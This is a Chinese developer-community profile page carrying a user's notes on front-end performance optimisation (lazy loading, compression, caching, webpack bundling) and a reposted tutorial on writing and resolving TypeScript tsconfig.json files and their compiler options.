FMP(First Meaningful Paint) 首次有效绘制: 例如,在 YouTube 观看页面上,主视频就是主角元素. 看这个csdn的网站不是很明显, 这几个都成一个时间线了, 截个weibo的看下. 下面的示例图可以看到, 微博的博文是主要元素.

二 性能优化方式

减少请求的次数

1.请求合并:将同一时间需要的js合并,目的是节省dns查找的时间
2.按需加载---(1)单页应用下的按照路由的需要加载 (2)缓存
3.css sprite base64 iconfont
4.cdn托管
5.延迟加载:图片的延迟加载:(就是先不设置img的src属性,等合适的时机(比如滚动、滑动、出现在视窗内等)再把图片真实url放到img的src属性上。) js的延迟加载:

减少量

1.精简代码(tree-shaking)----(1)去除无用的代码 (2)规范些代码的方式 (3)外部cdn的引入
2.懒加载 ---(1)路由的懒加载
3.压缩 ---(1)webpack 压缩UglifyJsPlugin;(2)gzip压缩 (3)图片压缩、JPG优化
4.缓存http代码:---浏览器的强缓存(max-age Etag)和协商(弱)缓存(last-modified)
5.第三方组件---第三方组件作为外部依赖使用,会被打爆进业务代码。
6.按需加载 --- (1)第三方库和工具的按需加载,如echarts (2)选择更优的工具 day.js代替moment (3)可用代码拆分(Code-splitting)只传送用户需要的代

减少内存的消耗

1.减少全局变量;
2.减少全局组件;
3.减少dom操作, 减少DOM访问,使用事件代理

  1. css样式放在页面前面
  2. 延迟js加载
  3. 避免CSS表达式,避免@import

其他

1.预加载:preload(在主渲染前进行预加载) 和prefetch(利用空闲时间),可用webpackde PreLoadWebpackPlugin插件

  1. SSR 预渲染 同构

webpack

  1. 遇到webpack打包性能问题,先去npm run build --report,然后根据分析结果来做相应的优化,谁占体积大就干谁
  2. webpack提供的externals可以配合外部资源CDN轻松大幅度减少打包体积,尤其对于echarts、jQuery、lodash这种库来说

3.代码拆分

JS 层面细细展开
只传送用户需要的代码。可用代码拆分(Code-splitting)。
优化压缩代码(ES5的Uglify,ES2015的babel-minify或者uglify-es)
高度压缩(用Brotli~q11,Zopfli或gzip)。Brotli的压缩比优于gzip。它可以帮CertSimple节省17%的压缩JS的字节大小,以及帮LinkedIn减少4%的加载时间。
移除无用的代码。用 Chrome DevTools代码覆盖率功能来查找未使用的JS代码。对于精简代码,可参阅tree-shaking, Closure Compiler的高端模式(advanced optimizations)和类似于 lodash-babel-plugin的微调库插件,或者像Moment.js这类库的Webpack的ContextReplacementPlugin。用babel-preset-env & browserlist来避免现代浏览器中已有的转译(transpiling)功能。高级开发人员可能会发现仔细分析Webpack打包(bundle)有助于他们识别和调整不必要的依赖关系。
缓存HTTP代码 来减少网络传输量。确定脚本最佳的缓存时间(例如:max-age)和提供验证令牌(Etag)来避免传送无变化的字节。用Service Worker缓存一方面可以让应用程序网络更加灵活,另一方面也可以让你能够快速访问像V8代码缓存这样的功能。长期缓存可以去了解下Webpack带哈希值文件名(filename hashing)。

查看原文

赞 0 收藏 0 评论 0

小葱 关注了用户 · 8月26日

lucifer @shuohaodeyixuene

公众号脑洞前端,分享前端架构,工程化,性能优化,数据结构与算法,力扣题解,等待你的加入,和三万工程师一起进步。

关注 983

小葱 赞了文章 · 8月26日

TypeScript 配置文件该怎么写?

TypeScript 的学习资料非常多,其中也不乏很多优秀的文章和教程。但是目前为止没有一个我特别满意的。原因有:

  • 它们大多数没有一个清晰的主线,而是按照 API 组织章节的,内容在逻辑上比较零散。
  • 大多是“讲是什么,怎么用“,而不是”讲为什么,讲原理“。
  • 大多数内容比较枯燥,趣味性比较低。都是干巴巴的文字,没有图片,缺乏能够引起强烈共鸣的例子。

因此我的想法是做一套不同市面上大多数的 TypeScript 学习教程。以人类认知的角度思考问题,学习 TypeScript,通过通俗易懂的例子和图片来帮助大家建立 TypeScript 世界观。

系列安排:

目录将来可能会有所调整。

注意,我的系列文章基本不会讲 API,因此需要你有一定的 TypeScript 使用基础,推荐两个学习资料。

结合这两个资料和我的系列教程,掌握 TypeScript 指日可待。

接下来,我们通过几个方面来从宏观的角度来看一下 TypeScript。

<!-- more -->

前言

这篇文章是我的 TypeScript 系列的第 5 篇。今天我们就来看下, TypeScript 的配置文件 tsconfig.json 该如何写。

和 package.json 一样, 它也是一个 JSON 文件。package.json 是包描述文件,对应的 Commonjs 规范,而 tsconfig.json 是最终被 TypeScript Compiler 解析和使用的一个 JSON 文件。 TypeScript Compiler 用这个配置文件来决定如何对项目进行编译。

说到编译,不得不提一个知名选手 - babel。 和 TypeScript 类似, 他们都可以将一种语法静态编译成另外一种语法。如果说我想编译一个文件,我只需要告诉 babel 我的文件路径即可。

npx babel script.js

有时候我想编译整个文件夹:

npx babel src --out-dir lib

babel 也可以指定输出目录,指定需要忽略的文件或目录等等, TypeScript 也是一样!你当然可以像 babel 一样在命令行中全部指定好,也可以将这些配置放到 tsconfig.json 中,以配置文件的形式传递给 TypeScript Compiler 。 这就是 tsconfig.json 文件的初衷,即接受用户输入作为配置项。

初探 tsconfig

我们先来看一个简单的 tsconfig 文件。

{
  "compilerOptions": {
    "outDir": "./built",
    "allowJs": true,
    "target": "es5"
  },
  "include": ["./src/**/*"]
}

如上配置做了:

  • 读取所有可识别的 src 目录下的文件(通过 include)。
  • 接受 JavaScript 做为输入(通过 allowJs)。
  • 生成的所有文件放在 built 目录下(通过 outDir)。
  • 将 JavaScript 代码降级到低版本比如 ECMAScript 5(通过 target)。

实际项目有比这个更复杂。 接下来, 我们来进一步解读。 不过在讲配置项之前,我们先来看下 tsconfig.json 是如何被解析的。

tsconfig 是如何被解析的?

如果一个目录下存在一个 tsconfig.json 文件,那么意味着这个目录是 TypeScript 项目的根目录。 如果你使用 tsc 编译你的项目,并且没有显式地指定配置文件的路径,那么 tsc 则会逐级向上搜索父目录寻找 tsconfig.json ,这个过程类似 node 的模块查找机制。

如图:

  • 在 _uglify-js@3.7.2@uglify-js 下执行 tsc 则会找到 配置文件 1,在 _uglify-js@3.7.2@uglify-js/bin 下执行 tsc 也会找到 配置文件 1
  • 同理在 lib,node_modules 也会找到 配置文件 1
  • 在 _uglify-js@3.7.2@uglify-js/bin/lucifer 下执行 tsc 则会找到 配置文件 2
  • 在 _uglify-js@3.7.2@uglify-js/lib/lucifer 下执行 tsc 则会找到 配置文件 3

我在 上帝视角看 TypeScript 一种讲述了 TypeScript 究竟做了什么,带你从宏观的角度看了一下 TypeScript。 其中提到了 TypeScript 编译器会接受文件或者文件集合作为输入,最终转换为 JavaScript(noEmit 为 false) 和 .d.ts(declarations 为 true)。

这里其实还少了一个点,那就是除了接受文件或者文件集合作为输入,还会接受 tsconfig.json。tsconfig.json 的内容决定了编译的范围和行为,不同的 配置可能会得到不同的输出,或者得到不同的检查结果。

当 tsc 找到了一个 tsconfig.json 文件,那么其规定的编译目录则全部会被 typescript 处理,当然也包括其依赖的文件。 如果 tsc 没有找到一个 tsconfig.json 或 tsconfig 没有有效信息,那么 tsc 会使用默认配置。 比如 tsconfig 是一个空的就没有有效信息:

{}
tsconfig 的全部属性,以及属性的默认值可以在这里找到: http://json.schemastore.org/t...

总结一下 tsc 解析 tsconfig.json 的逻辑。

  • 如果命令行指定了配置选项或者指定了配置文件的路径,那么直接会读取。

    • 根据 tsconfig json schema 校验是否格式正确。

      • 如果正确,则将其和默认配置合并(如果有 extends 字段,也会一起合并),将合并后的配置传递给 TypeScript 编译器并开始编译。
      • 否则抛出错误
  • 否则,会从当前目录查找 tsconfig.json 文件, 如果找不到则逐层向上搜索父目录。

    • 如果找到了则会去根据 tsconfig json schema 校验是否格式正确。

      • 如果正确,则将其和默认配置合并(如果有 extends 字段,也会一起合并),将合并后的配置传递给 TypeScript 编译器并开始编译。
      • 否则抛出错误
    • 否则,始终找不到则直接使用默认配置

tsconfig 的顶层属性

tsconfig 的顶层属性(Top Level)不多,主要有:compilerOptions, files, include, exclude,extends,compileOnSave等。

  • compilerOptions 是重头戏,其属性也是最多的,我们的项目也是对这个定制比较多,这个我后面会重点讲。
  • files 则是你需要编译的文件
  • exclude 则是你不需要编译的文件目录(支持 glob)
  • include 是你需要编译的文件目录(支持 glob)
  • extends 就是继承另外一个配置文件,TypeScript 会对其进行合并,多项目公共配置有用。你也可以直接继承社区的“最佳实践”,比如:
{
  "extends": "@tsconfig/node12/tsconfig.json",

  "compilerOptions": {},

  "include": ["src/**/*"],
  "exclude": ["node_modules"]
}
  • compileOnSave 则是和编辑器(确切地说是文件系统)联动的配置,即是否在文件保存后进行编译,实际项目不建议使用。

除了 compilerOptions,其他也相对比较好理解。 因此接下来我只针对 compilerOptions 详细讲解一番。

tsconfig 的编译项

详细全面的内容,大家只需要参考官网的就好了。官网写的不仅全面,而且做了分类,非常清晰。

接下来,我会根据功能分开讲几个常用 的配置。

文件相关

常用的是以下四个,由于前面已经做了介绍,因此就不赘述了。

  • exclude
  • extends
  • files
  • include

严格检查

  • alwaysStrict

默认:false

首次发布版本:2.1

这个是和 ECMAScript 规范相关的,工作机制和 ES 5 的严格模式一样, 并且输出的 JS 顶部也会也会带上 'use strict'。

  • noImplicitAny(推荐打开)

默认:true

首次发布版本:-

我在 - TypeScript 类型系统 中提到了如果不对变量显式声明类型,那么 TypeScript 会对变量进行类型推导,这当然也有推导不出的情况,这个时候该变量的类型就是 any,这个叫做隐式 any。区别于显式 any:

const a: any = {};

隐式 any 是 TypeScript 编译器推断的。

  • noImplicitThis(推荐打开)

默认:true

首次发布版本:2.0

和隐式 any 类型, 只不过这次是针对的特殊的一个关键字 this,也就是你需要显式地指定 this 的类型。

  • strict(推荐打开)

默认:true

首次发布版本:2.3

实际上 strict 只是一个简写,是多个规则的合集。 类似于 babel 中插件(plugins)和 预设(presets)的差别。换句话说如果你指定了 strict 为 true ,那么所有严格相关的规则的都会开启,我所讲的严格检查都是,还有一部分我没有提到的。另外将来如果增加更多严格规则,你只要开启了 strict 则会自动加进来。

模块解析

模块相关

目的:allowSyntheticDefaultImports,allowUmdGlobalAccess,esModuleInterop,moduleResolution 都是为了和其他模块化规范兼容做的。

  • allowSyntheticDefaultImports
  • allowUmdGlobalAccess
  • esModuleInterop
  • moduleResolution

还有一个配置 module,规定了项目的模块化方式,选项有 AMD,UMD,commonjs 等。

路径相关

目的: baseUrl,paths,rootDirs, typeRoots,types 都是为了简化路径的拼写做的。

  • baseUrl

这个配置是告诉 TypeScript 如何解析模块路径的。比如:

import { helloWorld } from "hello/world";

console.log(helloWorld);

这个就会从 baseUrl 下找 hello 目录下的 world 文件。

  • paths

定义类似别名的存在,从而简化路径的书写。

  • rootDirs

注意是 rootDirs ,而不是 rootDir,也就是说根目录可以有多个。 当你指定了多个根目录的时候, 不同根目录的文件可以像在一个目录下一样互相访问。

实际上也有一个叫 rootDir 的, 和 rootDirs 的区别就是其只能指定一个。
  • typeRoots
  • types

types 和 typeRoots 我在 - types 和 @types 是什么? 已经讲得很清楚了,这里就不多说了。

项目配置

JavaScript 相关

  • allowJs

默认:false

首次发布版本:1.8

顾名思义,允许在 TypeScript 项目中使用 JavaScript,这在从 JavaScript 迁移到 TypeScript 中是非常重要的。

  • checkJs

默认:false

首次发布版本:-

和 allowJs 类似, 只不过 checkJs 会额外对 JS 文件进行校验。

声明文件相关

如果 TypeScript 是将 TS 文件编译为 JS,那么声明文件 + JS 文件就可以反推出 TS 文件。

这两个用来生成 .d.ts 和 .d.ts 的 sourcemap 文件。

  • declaration

默认:false

首次发布版本:1.0

  • declarationMap

默认:false

首次发布版本:2.9

外部库相关

  • jsx

默认:react

首次发布版本:2.2

这个是告诉 TypeScript 如何编译 jsx 语法的。

  • lib

默认:-

首次发布版本:2.0

lib 我在 TypeScript 类型系统 中讲过。 Typescript 提供了诸如 lib.d.ts 等类型库文件。随着 ES 的不断更新, JavaScript 类型和全局变量会逐渐变多。Typescript 也是采用这种 lib 的方式来解决的。

(TypeScript 提供的部分 lib)

输出相关

outDir 和 outFile 这两个配置则是告诉 TypeScript 将文件生成到哪里。

  • outDir

默认:和 ts 文件同目录(且同名,只是后缀不同)

首次发布版本:-

  • outFile

默认:-

首次发布版本:1.0

module 是 CommonJS 和 ES6 module 不能知道 outFile,只有是 None, System 或 AMD 才行,其会将这些模块的文件内容打包到全局文件内容之后。

而 noEmit 则是控制是否输出 JS 文件的。

  • noEmit

默认:false

首次发布版本:-

如果你只希望用 TypeScript 进行类型检查,不希望要它生成文件,则可以将 noEmit 设置成 true。

  • target

即输出的 JavaScript 对标的 ECMA 规范。 比如 “target”: “es6” 就是将 es6 + 的语法转换为 ES6 的 代码。其选项有 ES3,ES5,ES6 等。

为什么没有 ES4 ? ^_^

总结

  • tsconfig 就是一个 JSON 文件,TypeScript 会使用该文件来决定如何编译和检查 TypeScript 项目。和 babel 类似,甚至很多配置项都是相通的。
  • 如果一个目录下存在一个 tsconfig.json 文件,那么意味着这个目录是 TypeScript 项目的根目录。 如果你使用 tsc 编译你的项目,并且没有显式地指定配置文件的路径,那么 tsc 则会逐级向上搜索父目录寻找 tsconfig.json ,这个过程类似 node 的模块查找机制。
  • tsconfig 中最重要的恐怕就是编译器选项(compilerOptions)了。如果你按照功能去记忆则会比较简单, 比如文件相关的有哪些, 严格检查的有哪些,声明文件的有哪些等等。

参考

关注我

大家也可以关注我的公众号《脑洞前端》获取更多更新鲜的前端硬核文章,带你认识你不知道的前端。

知乎专栏【 Lucifer - 知乎

点关注,不迷路!

查看原文

赞 52 收藏 38 评论 1

认证与成就

  • 获得 15 次点赞
  • 获得 1 枚徽章 获得 0 枚金徽章, 获得 0 枚银徽章, 获得 1 枚铜徽章

擅长技能
编辑

(゚∀゚ )
暂时没有

开源项目 & 著作
编辑

(゚∀゚ )
暂时没有

注册于 2018-03-27
个人主页被 460 人浏览